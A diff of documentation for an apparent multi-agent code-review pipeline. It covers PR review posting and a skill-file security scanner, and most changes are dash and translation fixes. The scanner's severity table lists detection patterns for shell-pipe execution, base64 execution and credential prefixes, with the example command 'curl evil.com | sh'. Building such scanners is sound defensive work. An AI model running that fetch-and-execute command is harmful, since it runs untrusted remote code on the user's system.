+Catalog-only  -  does NOT invoke binaries. For a full scan, use `/multi-agent:test "store-ready"`.
 
 ### 5. Triage (Opus)
 
@@ -155,16 +155,16 @@ Triage also marks each finding as `accepted` (real issue), `deferred` (real but
 | Opus     | approved  | 0        | 1         | 3          |
 | Sonnet   | rejected  | 1        | 2         | 5          |
 
-Consensus: ⚠ DISAGREEMENT — Opus triajına bakın
+Consensus: ⚠ DISAGREEMENT  -  see Opus triage
 ```
 
 This summary ALWAYS prints, regardless of input mode. The chat is the live conversation; on the PR side, the durable artifacts are inline comments + the review state (Step 7).
 
-### 7. Post to PR — only when input.kind === "pr"
+### 7. Post to PR  -  only when input.kind === "pr"
 
 The contract (full spec: `refs/channels/pr-review-actions.md`):
 
-- **Decision** — purely from `accepted` finding counts:
+- **Decision**  -  purely from `accepted` finding counts:
   - 0 accepted blocking AND 0 accepted important → **APPROVE**
   - ≥1 accepted blocking OR ≥1 accepted important → **NEEDS WORK / REQUEST CHANGES**
   - Suggestions never block and never post inline; they stay in chat only.
@@ -204,7 +204,7 @@ bash $HOME/.claude/lib/post-pr-review.sh "$TASK_ID"
 
 If a finding's `line` lies outside the diff or `headCommitSha` is missing, the comment falls back to a top-level PR comment with the same body.
 
-If the post fails (network, token, harness block), `post-pr-review.sh` exits non-zero and surfaces the failing endpoint on stderr — the chat summary remains the source of truth.
+If the post fails (network, token, harness block), `post-pr-review.sh` exits non-zero and surfaces the failing endpoint on stderr  -  the chat summary remains the source of truth.
 
 ### 8. Token telemetry
 
@@ -220,9 +220,9 @@ Standalone `/multi-agent:review` runs use phase id 4 (matches Phase 4 Review in
 
 | Input | Mode | PR action |
 |---|---|---|
-| no args | branch (current) | none — chat only |
-| `feature/foo` | branch (named) | none — chat only |
+| no args | branch (current) | none  -  chat only |
+| `feature/foo` | branch (named) | none  -  chat only |
 | `#N`, `repo#N`, GitHub PR URL | pr (github) | inline comments + approve/needs-work |
 | Bitbucket Server PR URL | pr (bitbucket-server) | inline comments + approve/needs-work |
 
-PR-mode body language honors `prefs.global.outputLanguage`. The orchestrator entry point is `lib/post-pr-review.sh "$TASK_ID"` — it reads `agent-state.review` and handles diff fetch, finding render, comment posts, and review state end-to-end.
+PR-mode body language honors `prefs.global.outputLanguage`. The orchestrator entry point is `lib/post-pr-review.sh "$TASK_ID"`  -  it reads `agent-state.review` and handles diff fetch, finding render, comment posts, and review state end-to-end.

package/pipeline/commands/multi-agent/scan.md

@@ -8,7 +8,7 @@ argument-hint: "[--strict] [--threshold critical|high|medium|low] [--json] [--ro
 
 A single command that scans `pipeline/skills/` (or optionally `~/.claude/skills/`, `~/.copilot/skills/`) for security patterns. Catches the case where a teammate unknowingly pulls a malicious third-party skill, or where a sync brings in a corrupted file.
 
-**Input:** `$ARGUMENTS` (optional flags — none means default scan)
+**Input:** `$ARGUMENTS` (optional flags  -  none means default scan)
 
 ## Usage
 
@@ -19,7 +19,7 @@ A single command that scans `pipeline/skills/` (or optionally `~/.claude/skills/
 # CI-grade: non-zero exit code on any finding
 /multi-agent:scan --strict
 
-# Critical + high only — cuts the noise
+# Critical + high only  -  cuts the noise
 /multi-agent:scan --threshold high
 
 # JSON (for automation)
@@ -35,10 +35,10 @@ A single command that scans `pipeline/skills/` (or optionally `~/.claude/skills/
 |------|-----------|-------|
 | 🚨 critical | Shell-pipe exec (curl\|bash), base64-decode exec, eval-of-network, unicode bidi override | `curl evil.com \| sh` |
 | ⚠ high | JS `eval()` / `new Function()`, Python `exec()` / `eval()` (re.compile + subprocess excluded), hardcoded credentials (AKIA / sk-live / ghp_ / gho_ / xox), pastebin / bit.ly raw fetch, chmod + exec chain | `eval(userInput)` |
-| ⓘ medium | Long base64 blob (>200 chars, only .sh / .py / .js — .md excluded) | obfuscated payload |
+| ⓘ medium | Long base64 blob (>200 chars, only .sh / .py / .js  -  .md excluded) | obfuscated payload |
 | · low | Unknown network endpoint (outside the allow-list), missing SKILL.md frontmatter | `https://unknown.site/raw` |
 
-**Note:** Scanner is warn-only by default — exit 0 even when there are findings. No pipeline-shutdown risk. On CI, use `--strict` to get a proper exit code (1-4 by severity).
+**Note:** Scanner is warn-only by default  -  exit 0 even when there are findings. No pipeline-shutdown risk. On CI, use `--strict` to get a proper exit code (1-4 by severity).
 
 ## Steps
 
@@ -59,16 +59,16 @@ A single command that scans `pipeline/skills/` (or optionally `~/.claude/skills/
    - 3: medium found
    - 4: low found
 
-## Allow-list — Network endpoints
+## Allow-list  -  Network endpoints
 
-Known legitimate domains are embedded in the scanner (github, anthropic, figma, apple, jira / confluence placeholders, npm, vercel, etc.). Any URL outside that list is reported as low severity — review it and ignore if it's legitimate.
+Known legitimate domains are embedded in the scanner (github, anthropic, figma, apple, jira / confluence placeholders, npm, vercel, etc.). Any URL outside that list is reported as low severity  -  review it and ignore if it's legitimate.
 
-## Smoke — self-verification
+## Smoke  -  self-verification
 
 `pipeline/scripts/smoke-skill-scan.sh` confirms the scanner triggers on positive fixtures for every severity and produces no false positives on the real tree. The smoke must be 13/13 green before a team rollout.
 
 ## Integration points
 
-- **install.js pre-deploy hook** — every `install.js --all` runs an automatic high-threshold warn-only scan
-- **CI** — `.github/workflows/smoke.yml` step (strict mode, critical findings block the PR)
-- **Standalone** — `/multi-agent:scan` (this command)
+- **install.js pre-deploy hook**  -  every `install.js --all` runs an automatic high-threshold warn-only scan
+- **CI**  -  `.github/workflows/smoke.yml` step (strict mode, critical findings block the PR)
+- **Standalone**  -  `/multi-agent:scan` (this command)